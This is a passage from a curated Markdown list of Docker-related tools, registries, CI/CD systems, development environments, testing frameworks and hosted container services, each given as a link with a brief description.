- [copy-docker-image](https://github.com/mdlavin/copy-docker-image) - Copy a Docker image between registries without a full Docker installation by [@mdlavin](https://github.com/mdlavin)
- [Derrick](https://github.com/alibaba/derrick) - A tool help you to automate the generation of Dockerfile and dockerize application by scanning the code. By [@alibaba](https://github.com/alibaba).
- [dlayer](https://github.com/orisano/dlayer) - docker layer analyzer by [@orisano](https://github.com/orisano)
- [docker-companion](https://github.com/mudler/docker-companion) - A command line tool written in Golang to squash and unpack docker images by [@mudler](https://github.com/mudler/)
- [docker-make](https://github.com/CtripCloud/docker-make) - Build, tag,and push a bunch of related docker images via a single command.
- [docker-replay](https://github.com/bcicen/docker-replay) - Generate `docker run`command and options from running containers. By [bcicen](https://github.com/bcicen)
- [DockerMake](https://github.com/avirshup/DockerMake) - A reproducible Docker image build system for complex software stacks. By [@avirshup](https://github.com/avirshup)
- [DockerSlim](https://github.com/docker-slim/docker-slim) shrinks fat Docker images creating the smallest possible images.
- [Dockly](https://github.com/swipely/dockly) - Dockly is a gem made to ease the pain of packaging an application in Docker by [@swipely](https://github.com/swipely/)
- [dockramp](https://github.com/jlhawn/dockramp) :skull: - Proof of Concept: A Client Driven Docker Image Builder by [@jlhawn](https://github.com/jlhawn)
- [essex](https://github.com/utensils/essex) - Boilerplate for Docker Based Projects: Essex is a CLI utility written in bash to quickly setup clean and consistent Docker projects with Makefile driven workflows. [@jamesbrink](https://github.com/jamesbrink)
- [HPC Container Maker](https://github.com/NVIDIA/hpc-container-maker) - Generates Dockerfiles from a high level Python recipe, including building blocks for High-Performance Computing components by [@NVIDIA][nvidia]
- [img](https://github.com/genuinetools/img) - Standalone, daemon-less, unprivileged Dockerfile and OCI compatible container image builder by [@genuinetools][genuinetools]
- [kaniko](https://github.com/GoogleContainerTools/kaniko) - Build Container Images In Kubernetes. By [@GoogleContainerTools][googlecontainertools]
- [makisu](https://github.com/uber/makisu) - Uber's fast and flexible unprivileged image builder for Mesos and Kubernetes, with distributed cache support. By [@uber](https://github.com/uber)
- [packer](https://developer.hashicorp.com/packer/plugins/builders/docker) - Hashicorp tool to build machine images including docker image integrated with configuration management tools like chef, puppet, ansible
- [portainer](https://github.com/duedil-ltd/portainer) - Apache Mesos framework for building Docker images by [@duedil-ltd](https://github.com/duedil-ltd)
- [Production-Ready Python Containers :heavy_dollar_sign:](https://pythonspeed.com/products/pythoncontainer/) - A template for creating production-ready Docker images for Python applications.
- [RAUDI](https://github.com/cybersecsi/RAUDI) - A tool to automatically update (and optionally push to Docker Hub) Docker Images for 3rd party software whenever theres is a new release/update/commit. By [@SecSI](https://github.com/cybersecsi)
- [runlike](https://github.com/lavie/runlike) - Generate `docker run`command and options from running containers by [@lavie](https://github.com/lavie)
- [SkinnyWhale](https://github.com/djosephsen/skinnywhale) :skull: - Skinnywhale helps you make smaller (as in megabytes) Docker containers.
- [Smith](https://github.com/oracle/smith) - A Micocontainer Builder and can perform multi-stage builds after the image is built [Oracle][oracle]
- [userdef](https://github.com/theAkito/userdef) - An advanced `adduser` for your Alpine based Docker images. Made by [Akito][akito]
- [Whaler](https://github.com/P3GLEG/Whaler) - Program to reverse Docker images into Dockerfiles by [@P3GLEG](https://github.com/P3GLEG/).
- [Whales](https://github.com/Gueils/whales) - A tool to automatically dockerize your applications by [@icalialabs](https://github.com/IcaliaLabs).
### Dockerfile
- [chaperone-docker](https://github.com/garywiz/chaperone-docker) - A set of images using the Chaperone process manager, including a lean Alpine image, LAMP, LEMP, and bare-bones base kits.
- [Dockerfile Generator](https://github.com/ozankasikci/dockerfile-generator) `dfg` is both a Go library and an executable that produces valid Dockerfiles using various input channels.
- [Dockerfile Project](https://dockerfile.github.io/) - Trusted Automated Docker Builds. Dockerfile Project maintains a central repository of Dockerfile for various popular open source software services runnable on a Docker container.
- [dockerfilegraph](https://github.com/patrickhoefler/dockerfilegraph) - Visualize your multi-stage Dockerfiles. By [@PatrickHoefler](https://github.com/patrickhoefler)
- [Dockershelf](https://github.com/Dockershelf/dockershelf) - A repository that serves as a collector for docker recipes that are universal, efficient and slim. Images are updated, tested and published daily via a Travis cron job. Maintained by [@CollageLabs](https://github.com/CollageLabs).
- [dockmoor](https://github.com/MeneDev/dockmoor) :construction: - Manage docker image references and help to create reproducible builds with Docker. By [@MeneDev](https://github.com/MeneDev)
- [Vektorcloud](https://github.com/vektorcloud) - A collection of minimal, Alpine-based Docker images
Examples by:
- [@0xy](https://gitlab.com/0xy/dockerfiles)
- [@arun-gupta](https://github.com/arun-gupta/docker-images)
- [@awesome-startup](https://github.com/awesome-startup/docker-compose)
- [@crosbymichael](https://github.com/crosbymichael/Dockerfiles)
- [@jessfraz](https://github.com/jessfraz/dockerfiles)
- [@komljen](https://github.com/komljen/dockerfile-examples)
- [@kstaken](https://github.com/kstaken/dockerfile-examples)
- [@ondrejmo](https://github.com/ondrejmo/Dockerfiles)
- [@vimagick](https://github.com/vimagick/dockerfiles)
### Linter
- [docker-image-size-limit](https://github.com/wemake-services/docker-image-size-limit) - A tool to keep an eye on your docker images size.
- [Dockerfile Linter action](https://github.com/buddy-works/dockerfile-linter) - The linter lets you verify Dockerfile syntax to make sure it follows the best practices for building efficient Docker images.
- [dockfmt](https://github.com/jessfraz/dockfmt) :construction: - Dockerfile formatter and parser by [@jessfraz][jessfraz]
- [FROM:latest](https://github.com/replicatedhq/dockerfilelint) - An opinionated Dockerfile linter by [@replicatedhq](https://github.com/replicatedhq)
- [Hadolint](https://github.com/hadolint/hadolint) - A Dockerfile linter that checks for best practices, common mistakes, and is also able to lint any bash written in `RUN` instructions; by [@lukasmartinelli](https://github.com/lukasmartinelli)
- [Whale-linter](https://github.com/jeromepin/whale-linter) - A simple and small Dockerfile linter written in Python3+ without dependencies by [@jeromepin](https://github.com/jeromepin)
### Metadata
- [opencontainer](https://github.com/opencontainers/image-spec/blob/master/annotations.md) - A convention and shared namespace for Docker labels defined by OCI Image Spec.
### Registry
Services to securely store your Docker images.
- [Alin.io](https://alin.io) - Build and Distribute container based applications. By [@tigranbs](https://github.com/tigranbs)
- [Amazon Elastic Container Registry :heavy_dollar_sign:](https://aws.amazon.com/ecr/) - Amazon Elastic Container Registry (ECR) is a fully-managed Docker container registry that makes it easy for developers to store, manage, and deploy Docker container images.
- [Azure Container Registry :heavy_dollar_sign:](https://azure.microsoft.com/en-us/products/container-registry/#overview) - Manage a Docker private registry as a first-class Azure resource
- [CargoOS](https://github.com/RedCoolBeans/cargos-buildroot) - A bare essential OS for running the Docker Engine on bare metal or Cloud. By [@RedCoolBeans](https://github.com/RedCoolBeans)
- [cleanreg](https://github.com/hcguersoy/cleanreg) - A small tool to delete image manifests from a Docker Registry implementing the API v2, dereferencing them for the GC by [@hcguersoy](https://github.com/hcguersoy)
- [Cloudsmith :heavy_dollar_sign:](https://cloudsmith.com/product/formats/docker-registry) - A fully managed package management SaaS, with first-class support for public and private Docker registries (and many others, incl. Helm charts for the Kubernetes ecosystem). Has a generous free-tier and is also completely free for open-source.
- [Container Registry Service :heavy_dollar_sign:](https://container-registry.com/) - Harbor based Container Management Solution as a Service for teams and organizations. Free tier offers 1 GB storage for private repositories.
- [Cycle.io :heavy_dollar_sign:](https://cycle.io/) - Bare-metal container hosting.
- [DigitalOcean :heavy_dollar_sign:](https://www.digitalocean.com/products/container-registry) - DigitalOcean Container Registry.
- [Docker Hub](https://hub.docker.com/) provided by Docker Inc.
- [Docker Registry v2][distribution] - The Docker toolset to pack, ship, store, and deliver content
- [Docket](https://github.com/netvarun/docket) - Custom docker registry that allows for lightning fast deploys through bittorrent by [@netvarun](https://github.com/netvarun/)
- [Dragonfly](https://github.com/dragonflyoss/Dragonfly2) - Provide efficient, stable and secure file distribution and image acceleration based on p2p technology.
- [GCE Container Registry :heavy_dollar_sign:](https://cloud.google.com/artifact-registry) Fast, private Docker image storage on Google Cloud Platform
- [GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/) - Registry focused on using its images in GitLab CI
- [Harbor](https://github.com/goharbor/harbor) An open source trusted cloud native registry project that stores, signs, and scans content. Supports replication, user management, access control and activity auditing. By [CNCF](https://www.cncf.io) formerly [VMWare][vmware]
- [JFrog Artifactory :heavy_dollar_sign:](https://jfrog.com/artifactory/) - Artifact Repository Manager, can be used as private Docker Registry as well
- [Kraken](https://github.com/uber/kraken) - Uber's Highly scalable P2P docker registry, capable of distributing TBs of data in seconds.
- [Portus](https://github.com/SUSE/Portus) - Authorization service and frontend for Docker registry (v2) by [@SUSE](https://github.com/SUSE)
- [Quay.io :heavy_dollar_sign:](https://quay.io/) (part of CoreOS) - Secure hosting for private Docker repositories
- [Registryo](https://github.com/inmagik/registryo) - UI and token based authentication server for onpremise docker registry
- [Rescoyl](https://github.com/noteed/rescoyl) - Private Docker registry (free and open source) by [@noteed](https://github.com/noteed)
- [Sonatype Nexus Repository](https://www.sonatype.com/products/sonatype-nexus-repository) - Manage binaries and build artifacts across your software supply chain.
## Development with Docker
### API Client
- [ahab](https://github.com/instacart/ahab) - Docker event handling with Python by [@instacart](https://github.com/instacart)
- [clj-docker-client](https://github.com/into-docker/clj-docker-client) :skull: - Idiomatic Clojure client for the Docker remote API. By [@lispyclouds][lispyclouds]
- [contajners](https://github.com/lispyclouds/contajners) - An idiomatic, data-driven, REPL friendly Clojure client for OCI container engines. By [@lispyclouds][lispyclouds]
- [Docker Client for JVM](https://github.com/gesellix/docker-client) - A Docker remote api client library for the JVM, written in Groovy by [@gesellix][gesellix]
- [Docker Client TypeScript](https://gitlab.com/masaeedu/docker-client) - Docker API client for JavaScript, automatically generated from Swagger API definition from moby repository. By [@masaeedu](https://github.com/masaeedu)
- [docker-client](https://github.com/spotify/docker-client) :skull: - Java client for the Docker remote API. By [@spotify][spotify]
- [docker-it-scala](https://github.com/whisklabs/docker-it-scala) - Docker integration testing kit with Scala by [@whisklabs](https://github.com/whisklabs)
- [docker-java-api](https://github.com/amihaiemil/docker-java-api) - Lightweight, truly object-oriented, Java client for Docker's API. By [@amihaiemil](https://github.com/amihaiemil)
- [docker-maven-plugin](https://github.com/fabric8io/docker-maven-plugin) - A Maven plugin for running and creating Docker images by [@fabric8io](https://github.com/fabric8io)
- [Docker-PowerShell](https://github.com/Microsoft/Docker-PowerShell) - PowerShell Module for Docker
- [Docker.DotNet](https://github.com/Microsoft/Docker.DotNet) - C#/.NET HTTP client for the Docker remote API by [@ahmetb](https://github.com/ahmetb)
- [Docker.Registry.DotNet](https://github.com/ChangemakerStudios/Docker.Registry.DotNet) - .NET (C#) Client Library for interacting with a Docker Registry API (v2) [@rquackenbush](https://github.com/rquackenbush)
- [dockerfile-maven](https://github.com/spotify/dockerfile-maven) - A Maven plugin for building and pushing Docker images by [@spotify][spotify]
- [dockerode](https://github.com/apocas/dockerode) - Docker Remote API node.js module by [@apocas](https://github.com/apocas)
- [DoMonit](https://github.com/eon01/DoMonit) - A simple Docker Monitoring wrapper For Docker API
- [go-dockerclient](https://github.com/fsouza/go-dockerclient/) - Go HTTP client for the Docker remote API by [@fsouza](https://github.com/fsouza/)
- [Gradle Docker plugin](https://github.com/gesellix/gradle-docker-plugin) - A Docker remote api plugin for Gradle by [@gesellix][gesellix]
- [libcompose](https://github.com/docker/libcompose) - Go library for Docker Compose.
- [Portainer stack utils](https://github.com/greenled/portainer-stack-utils) :construction: - Bash script to deploy/update/undeploy Docker stacks in a Portainer instance from a docker-compose yaml file. By [@greenled](https://github.com/greenled).
- [sbt-docker-compose](https://github.com/Tapad/sbt-docker-compose) - Integrates Docker Compose functionality into sbt by [@kurtkopchik](https://github.com/kurtkopchik/)
- [sbt-docker](https://github.com/marcuslonnberg/sbt-docker) - Create Docker images directly from sbt by [@marcuslonnberg](https://github.com/marcuslonnberg)
### CI/CD
- [Buddy :heavy_dollar_sign:](https://buddy.works) - The best of Git, build & deployment tools combined into one powerful tool that supercharged our development.
- [Captain](https://github.com/harbur/captain) - Convert your Git workflow to Docker containers ready for Continuous Delivery by [@harbur](https://github.com/harbur).
- [Cyclone](https://github.com/caicloud/cyclone) - Powerful workflow engine and end-to-end pipeline solutions implemented with native Kubernetes resources by [@caicloud](https://github.com/caicloud).
- [Depot :heavy_dollar_sign:](https://depot.dev) - Build Docker images fast, in the cloud. Blazing fast compute, automatic intelligent caching, and zero configuration. [Done in seconds](https://depot.dev/#benchmarks).
- [Diun](https://github.com/crazy-max/diun) - Receive notifications when an image or repository is updated on a Docker registry by [@crazy-max].
- [Docker plugin for Jenkins](https://github.com/jenkinsci/docker-plugin/) - The aim of the docker plugin is to be able to use a docker host to dynamically provision a slave, run a single build, then tear-down that slave.
- [Dockupdater](https://github.com/dockupdater/dockupdater) - Automatically keep your docker services and your docker containers up-to-date
- [Drone](https://github.com/drone/drone) - Continuous integration server built on Docker and configured using YAML files.
- [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) - GitLab has integrated CI to test, build and deploy your code with the use of GitLab runners.
- [GOCD-Docker](https://github.com/gocd/gocd-docker) :skull: - Go Server and Agent in docker containers to provision.
- [Jaypore CI](https://github.com/theSage21/jaypore_ci) - Simple, very flexible, powerful CI / CD / automation system configured in Python. Offline and local first.
- [Kraken CI](https://github.com/Kraken-CI/kraken) - Modern CI/CD, open-source, on-premise system that is highly scalable and focused on testing. One of its executors is Docker. Developed by [@Kraken-CI](https://github.com/Kraken-CI).
- [Microservices Continuous Deployment](https://github.com/francescou/docker-continuous-deployment) - Continuous deployment of a microservices application.
- [mu](https://github.com/stelligent/mu) - Tool to configure CI/CD of your container applications via AWS CodePipeline, CodeBuild and ECS [@Stelligent](https://github.com/stelligent)
- [Ouroboros](https://github.com/pyouroboros/ouroboros) :skull: - Automatically update running Docker containers with notifications
- [Popper](https://github.com/systemslab/popper) - Github actions workflow (HCL syntax) execution engine.
- [Screwdriver :heavy_dollar_sign:](https://screwdriver.cd/) - Yahoo's OpenSource buildplatform designed for Continous Delivery.
- [Skipper](https://github.com/Stratoscale/skipper) - Easily dockerize your Git repository by [@Stratoscale](https://github.com/Stratoscale)
- [SwarmCI](https://github.com/ghostsquad/swarmci) - Create a distributed, isolated task pipeline in your Docker Swarm.
- [Watchtower](https://github.com/containrrr/watchtower) - Automatically update running Docker containers
### Development Environment
- [batect](https://github.com/batect/batect) - build and testing environments as code tool: Dockerised build and testing environments made easy by [@charleskorn](https://github.com/charleskorn)
- [Binci](https://github.com/binci/binci) - Containerize your development workflow. (formerly DevLab by [@TechnologyAdvice](https://github.com/TechnologyAdvice))
- [Boot2Docker](https://github.com/boot2docker/boot2docker) :skull: - Docker for OSX and Windows
- [coder](https://github.com/coder/coder) - remote development machines powered by Terraform or Docker by [@coder](https://github.com/coder)
- [construi](https://github.com/lstephen/construi) - Run your builds inside a Docker defined environment by [@lstephen](https://github.com/lstephen)
- [Crashcart](https://github.com/oracle/crashcart) - Sideload Linux binaries into a running container for troubleshooting by [@Oracle][oracle]
- [dde](https://github.com/whatwedo/dde) :construction: - Local development environment toolset based on Docker. By [@whatwedo](https://github.com/whatwedo)
- [Devstep](https://github.com/fgrehm/devstep) :skull: - Development environments powered by Docker and buildpacks by [@fgrehm][fgrehm]
- [Dinghy](https://github.com/codekitchen/dinghy) - An alternative way to use Docker on Mac OS X using Docker Machine with virtualbox, vmware, xhyve or parallels
- [DIP](https://github.com/bibendi/dip) - CLI utility for straightforward provisioning and interacting with an application configured by docker-compose. By [@bibendi](https://github.com/bibendi)
- [DLite](https://github.com/nlf/dlite) :skull: - Simplest way to use Docker on OSX, no VM needed. By [@nlf](https://github.com/nlf)
- [dobi](https://github.com/dnephin/dobi) - A build automation tool for Docker applications. By [@dnephin](https://github.com/dnephin)
- [Docker Missing Tools](https://github.com/nandoquintana/docker-missing-tools) - A set of bash commands to shortcut typical docker dev-ops. An alternative to creating typical helper scripts like "build.sh" and "deploy.sh" inside code repositories. By [@NandoQuintana](https://github.com/nandoquintana).
- [Docker osx dev](https://github.com/brikis98/docker-osx-dev) :skull: - A productive development environment with Docker on OS X by [@brikis98](https://github.com/brikis98)
- [Docker-Arch](https://github.com/Ph3nol/Docker-Arch) - Generate Web/CLI projects Dockerized development environments, from 1 simple YAML file. By [@Ph3nol](https://github.com/ph3nol)
- [docker-setup](https://github.com/nicholasdille/docker-setup) - Install, configure and update container tools. By [@nicholasdille](https://twitter.com/nicholasdille)
- [Docker-sync](https://github.com/EugenMayer/docker-sync) - Drastically improves performance ([50-70x](https://github.com/EugenMayer/docker-sync/wiki/4.-Performance)) when using Docker for development on Mac OS X/Windows and Linux while sharing code to the container. By [@EugenMayer](https://github.com/EugenMayer)
- [docker-vm](https://github.com/shyiko/docker-vm) - Simple and transparent alternative to boot2docker (backed by Vagrant) by [@shyiko](https://github.com/shyiko)
- [DockerBuildManagement](https://github.com/DIPSAS/DockerBuildManagement) - Build Management is a python application, installed with pip. The application makes it easy to manage a build system based on Docker by configuring a single yaml file describing how to build, test, run or publish a containerized solution.
- [DockerDL](https://github.com/matifali/dockerdl) - Deep Learning Docker Images. Don't waste time setting up a deep learning env when you can get a deep learning environment with everything pre-installed.
- [Dusty](https://github.com/gamechanger/dusty) - Managed Docker development environments on OS X
- [Eclipse Che](https://github.com/eclipse/che) - Developer workspace server with Docker runtimes, cloud IDE, next-generation Eclipse IDE
- [EnvCLI](https://github.com/EnvCLI/EnvCLI) - Replace your local installation of Node, Go, ... with project-specific docker containers. By [@EnvCLI](https://github.com/EnvCLI)
- [footloose](https://github.com/weaveworks/footloose) - Spin containers that look like Virtual Machines - By [@dlespiau](https://github.com/dlespiau)
- [forward2docker](https://github.com/bsideup/forward2docker) :skull: - Utility to auto forward a port from localhost into ports on Docker containers running in a boot2docker VM by [@bsideup](https://github.com/bsideup)
- [Gebug](https://github.com/moshebe/gebug) - A tool that makes debugging of Dockerized Go applications super easy by enabling Debugger and Hot-Reload features, seamlessly.
- [Kitt](https://github.com/senges/kitt) - A portable and disposable Shell environment, based on Docker and Nix. By [@senges](https://github.com/senges)
- [Lando](https://github.com/lando/lando) - Lando is for developers who want to quickly specify and painlessly spin up the services and tools needed to develop their projects. By [Tandem](https://thinktandem.io/)
- [Rust Universal Compiler](https://github.com/Peco602/rust-universal-compiler) - Container solution to compile Rust projects for Linux, macOS and Windows. By [@Peco602][peco602]
- [Vagga](https://github.com/tailhook/vagga) - Vagga is a containerisation tool without daemons. It is a fully-userspace container engine inspired by Vagrant and Docker, specialized for development environments by [@tailhook](https://github.com/tailhook/)
- [Zsh-in-Docker](https://github.com/deluan/zsh-in-docker) - Install Zsh, Oh-My-Zsh and plugins inside a Docker container with one line! By [Deluan](https://www.deluan.com)
### Garbage Collection
- [caduc](https://github.com/tjamet/caduc) - A docker garbage collector cleaning stuff you did not use recently
- [Docker Clean](https://github.com/ZZROTDesign/docker-clean) - A script that cleans Docker containers, images and volumes by [@zzrotdesign](https://github.com/ZZROTDesign)
- [docker_gc](https://github.com/pdacity/docker_gc) - Image for automatic removing unused Docker Swarm objects. Also works just as Docker Service by [@pdacity](https://github.com/pdacity)
- [Docker-cleanup](https://github.com/meltwater/docker-cleanup) :skull: - Automatic Docker image, container and volume cleanup by [@meltwater](https://github.com/meltwater)
- [docker-custodian](https://github.com/Yelp/docker-custodian) - Keep docker hosts tidy. By [@Yelp](https://github.com/Yelp)
- [docker-garby](https://github.com/konstruktoid/docker-garby) - Docker garbage collection script by [@konstruktoid](https://github.com/konstruktoid).
- [docker-gc](https://github.com/spotify/docker-gc) :skull: - A cron job that will delete old stopped containers and unused images by [@spotify][spotify]
- [sherdock](https://github.com/rancher/sherdock) :skull: - Automatic GC of images based on regexp by [@rancher][rancher]
### Serverless
- [AMP](https://github.com/appcelerator-archive/amp) :skull: - The open source unified CaaS/FaaS platform for Docker, batteries included. By [@Appcelerator](https://github.com/appcelerator-archive)
- [Apache OpenWhisk](https://github.com/apache/openwhisk) - a serverless, open source cloud platform that executes functions in response to events at any scale. By [@apache](https://github.com/apache)
- [Docker-Lambda](https://github.com/lambci/docker-lambda) - Docker images and test runners that replicate the live AWS Lambda environment. By [@lamb-ci](https://github.com/lambci)
- [Funker](https://github.com/bfirsh/funker-example-voting-app) - Functions as Docker containers example voting app. By [@bfirsh](https://github.com/bfirsh)
- [IronFunctions](https://github.com/iron-io/functions) - The serverless microservices platform FaaS (Functions as a Service) which uses Docker containers to run Any language or AWS Lambda functions
- [Koyeb](https://www.koyeb.com/) :heavy_dollar_sign: - Koyeb is a developer-friendly serverless platform to deploy apps globally. Seamlessly run Docker containers, web apps, and APIs with git-based deployment, native autoscaling, a global edge network, and built-in service mesh and discovery.
- [OpenFaaS](https://github.com/openfaas/faas) - A complete serverless functions framework for Docker and Kubernetes. By [OpenFaaS](https://github.com/openfaas)
- [SCAR](https://github.com/grycap/scar) - Serverless Container-aware Architectures (SCAR) is a serverless framework that allows easy deployment and execution of containers (e.g. Docker) in Serverless environments (e.g. Lambda) by [@grycap](https://github.com/grycap)
### Testing
- [Container Structure Test](https://github.com/GoogleContainerTools/container-structure-test) - A framework to validate the structure of an image by checking the outputs of commands or the contents of the filesystem. By [@GoogleContainerTools][googlecontainertools]
- [dgoss](https://github.com/aelsabbahy/goss/tree/master/extras/dgoss) - A fast YAML based tool for validating docker containers.
- [DockerSpec](https://github.com/zuazo/dockerspec) - A small Ruby Gem to run RSpec and Serverspec, Infrataster and Capybara tests against Dockerfiles or Docker images easily. By [@zuazo](https://github.com/zuazo)
- [Dockunit](https://github.com/dockunit/platform) :skull: - Docker based integration tests. A simple Node based utility for running Docker based unit tests. By [@dockunit](https://github.com/dockunit)
- [EZDC](https://github.com/lynchborg/ezdc) - Golang test harness for easily setting up tests that rely on services in a docker-compose.yml. By [@byrnedo]
- [InSpec][inspec] - InSpec is an open-source testing framework for infrastructure with a human- and machine-readable language for specifying compliance, security and policy requirements. By [@chef](https://github.com/chef)
- [Kurtosis](https://github.com/kurtosis-tech/kurtosis) - A composable build system for multi-container test environments that provides developers with: a powerful Python-like SDK for environment configuration, a compile-time validator to verify environment behavior & setup, and a runtime for environment execution, monitoring, & debugging capabilities. By [Kurtosis](https://www.kurtosis.com/)
- [Pull Dog](https://github.com/apps/pull-dog) - A GitHub app that automatically creates Docker-based test environments for your pull requests, from your docker-compose files. Not open source.
- [Pumba](https://github.com/alexei-led/pumba) - Chaos testing tool for Docker. Can be deployed on kubernetes and CoreOS cluster. By [@alexei-led](https://github.com/alexei-led)
### Wrappers
- [Ansible](https://docs.ansible.com/ansible/latest/collections/community/general/docker_container_module.html) - Manage the life cycle of Docker containers. By RedHat
- [Azk](https://github.com/azukiapp/azk) - Orchestrate development environments on your local machine by [@azukiapp](https://github.com/azukiapp)
- [Beluga](https://github.com/cortexmedia/Beluga) :skull: - CLI to deploy docker containers on a single server or low amount of servers. By [@cortextmedia](https://github.com/cortexmedia)
- [dexec](https://github.com/docker-exec/dexec) - Command line interface written in Go for running code with Docker Exec images.
- [dockerized](https://github.com/benzaita/dockerized-cli) - Seamlessly execute commands in a container.
- [Dray](https://github.com/CenturyLinkLabs/dray) - An engine for managing the execution of container-based workflows by [@CenturyLinkLabs][centurylinklabs]
- [FuGu](https://github.com/mattes/fugu) :skull: - Docker run wrapper without orchestration by [@mattes](https://github.com/mattes)
- [Hokusai](https://github.com/artsy/hokusai) - A Docker + Kubernetes CLI for application developers; used to containerize an application and to manage its lifecycle throughout development, testing, and release cycles. From [@artsy](https://github.com/artsy)
- [Preevy](https://github.com/livecycle/preevy) - Preview environments for Docker and Docker Compose projects. Test your changes and get feedback from devs and non-devs (Product/Design) by deploying pull requests to the your cloud provider as part of your CI pipeline.
- [Shutit](https://github.com/ianmiell/shutit) - Tool for building and maintaining complex Docker deployments by [@ianmiell](https://github.com/ianmiell)
- [subuser](https://github.com/subuser-security/subuser) - Makes it easy to securely and portably run graphical desktop applications in Docker
- [T.A.D.S. boilerplate](https://github.com/Thomvaill/tads-boilerplate) - The power of Ansible and Terraform + the simplicity of Docker Swarm = Infrastructure as Code and DevOps best practices. By [@Thomvaill](https://github.com/Thomvaill)
- [Terraform cloud-init config](https://github.com/christippett/terraform-cloudinit-container-server) - Terraform module for deploying a single Docker image or `docker-compose.yaml` file to any Cloud™ VM
- [Turbo](https://github.com/ramitsurana/turbo) - Simple and Powerful utility for docker. By [@ramitsurana][ramitsurana]
- [udocker](https://github.com/indigo-dc/udocker) - A tool to execute simple docker containers in batch or interactive systems without root privileges by [@inidigo-dc](https://github.com/indigo-dc)
- [Vagrant - Docker provider](https://developer.hashicorp.com/vagrant/docs/providers/docker/basics) - Good starting point is [vagrant-docker-example](https://github.com/bubenkoff/vagrant-docker-example) by [@bubenkoff](https://github.com/bubenkoff)
## Services based on Docker (mostly :heavy_dollar_sign:)
### CI Services
- [CircleCI](https://circleci.com/) :heavy_dollar_sign: - Push or pull Docker images from your build environment, or build and run containers right on CircleCI.
- [CodeFresh](https://codefresh.io) :heavy_dollar_sign: - Everything you need to build, test, and share your Docker applications. Provides automated end to end testing.
- [CodeShip](https://www.cloudbees.com/products/codeship) :heavy_dollar_sign: - Work with your established Docker workflows while automating your testing and deployment tasks with our hosted platform dedicated to speed and security.
- [ConcourseCI](https://concourse-ci.org) :heavy_dollar_sign: - A CI SaaS platform for developers and DevOps teams pipeline oriented.
- [Semaphore CI](https://semaphoreci.com/) :heavy_dollar_sign: — A high-performance cloud solution that makes it easy to build, test and ship your containers to production.
- [TravisCI](https://www.travis-ci.com/) :heavy_dollar_sign: - A Free github projects continuous integration Saas platform for developers and Devops.
### CaaS
- [Amazon ECS](https://aws.amazon.com/ecs/) :heavy_dollar_sign: - A management service on EC2 that supports Docker containers.
- [Appfleet](https://appfleet.com/) :heavy_dollar_sign: - Edge platform to deploy and manage containerized services globally. The system will route the traffic to the closest location for lower latency.
- [Azure AKS](https://azure.microsoft.com/en-us/products/kubernetes-service/) :heavy_dollar_sign: - Simplify Kubernetes management, deployment, and operations. Use a fully managed Kubernetes container orchestration service.
- [Cloud 66](https://www.cloud66.com) :heavy_dollar_sign: - Full-stack hosted container management as a service
- [Dockhero](https://dockhero.io/) :heavy_dollar_sign: - Dockhero is a Heroku add-on which turns a Docker image into a microservice attached to the Heroku app. Currently in beta.
- [Giant Swarm](https://www.giantswarm.io/) :heavy_dollar_sign: - Simple microservice infrastructure. Deploy your containers in seconds.
- [Google Container Engine](https://cloud.google.com/kubernetes-engine/docs/) :heavy_dollar_sign: - Docker containers on Google Cloud Computing powered by [Kubernetes][kubernetes].
- [Mesosphere DC/OS Platform](https://d2iq.com/products/dcos) :heavy_dollar_sign: - Integrated platform for data and containers built on Apache Mesos by [@mesosphere](https://d2iq.com)
- [Red Hat CodeReady Workspaces](https://developers.redhat.com/products/openshift-dev-spaces/overview) - A collaborative Kubernetes-native solution for rapid application development that delivers consistent developer environments on Red Hat OpenShift to allow anyone with a browser to contribute code in under two minutes.
- [Red Hat OpenShift Dedicated](https://www.redhat.com/en/technologies/cloud-computing/openshift/dedicated) :heavy_dollar_sign: - Fully-managed Red Hat® OpenShift® service on Amazon Web Services and Google Cloud
- [Triton](https://www.joyent.com/) :heavy_dollar_sign: - Elastic container-native infrastructure by Joyent.
- [Virtuozzo Application Platform](https://www.virtuozzo.com/application-platform-partners/) :heavy_dollar_sign: - Deploy and manage your projects with turnkey PaaS across a wide network of reliable service providers
### Monitoring Services
- [AppDynamics](https://github.com/Appdynamics/docker-monitoring-extension) - Docker Monitoring extension gathers metrics from the Docker Remote API, either using Unix Socket or TCP.
- [Better Stack](https://betterstack.com/community/guides/scaling-docker/) :heavy_dollar_sign: - A Docker-compatible observability stack that delivers robust log aggregation and uptime monitoring capabilities for various software application.
- [Broadcom Docker Monitoring](https://www.broadcom.com/info/aiops/docker-monitoring) :heavy_dollar_sign: - Agile Operations solutions from Broadcom deliver the modern Docker monitoring businesses need to accelerate and optimize the performance of microservices and the dynamic Docker environments running them. Monitor both the Docker environment and apps that run inside them. (former CA Technologies)
- [Collecting docker logs and stats with Splunk](https://www.splunk.com/en_us/blog/tips-and-tricks/collecting-docker-logs-and-stats-with-splunk.html)
- [Datadog](https://www.datadoghq.com/) :heavy_dollar_sign: - Datadog is a full-stack monitoring service for large-scale cloud environments that aggregates metrics/events from servers, databases, and applications. It includes support for Docker, Kubernetes, and Mesos.
- [Prometheus](https://prometheus.io/) :heavy_dollar_sign: - Open-source service monitoring system and time series database
- [Site24x7](https://www.site24x7.com/docker-monitoring.html) :heavy_dollar_sign: - Docker Monitoring for DevOps and IT is a SaaS Pay per Host model
- [SPM for Docker](https://github.com/sematext/sematext-agent-docker) :heavy_dollar_sign: - Monitoring of host and container metrics, Docker events and logs. Automatic log parser. Anomaly Detection and alerting for metrics and logs. [@sematext](https://github.com/sematext)
- [Sysdig Monitor](https://sysdig.com/products/monitor/) :heavy_dollar_sign: - Sysdig Monitor can be used as either software or a SaaS service to monitor, alert, and troubleshoot containers using system calls. It has container-specific features for Docker and Kubernetes.
# Useful Resources
- **[Valuable Docker Links](http://nane.kratzke.pages.mylab.th-luebeck.de/about/blog/2014/08/24/valuable-docker-links/)** High quality articles about docker! **MUST SEE**
- [Become a Docker Power User with Visual Studio Code](https://www.thebyte.io/become-docker-power-user-with-vs-code) - :heavy_dollar_sign: A training course to help you become a Docker Power user with Visual Studio Code
- [Cloud Native Landscape](https://github.com/cncf/landscape)
- [Docker Blog](https://www.docker.com/blog/) - regular updates about Docker, the community and tools
- [Docker Certification](https://intellipaat.com/docker-training-course/?US) :heavy_dollar_sign: will help you to will Learn Docker containerization, running Docker containers, Image creation, Dockerfile, Docker orchestration, security best practices, and more through hands-on projects and case studies and helps to clear Docker Certified Associate.
- [Docker Community on Hashnode](https://hashnode.com/n/docker)
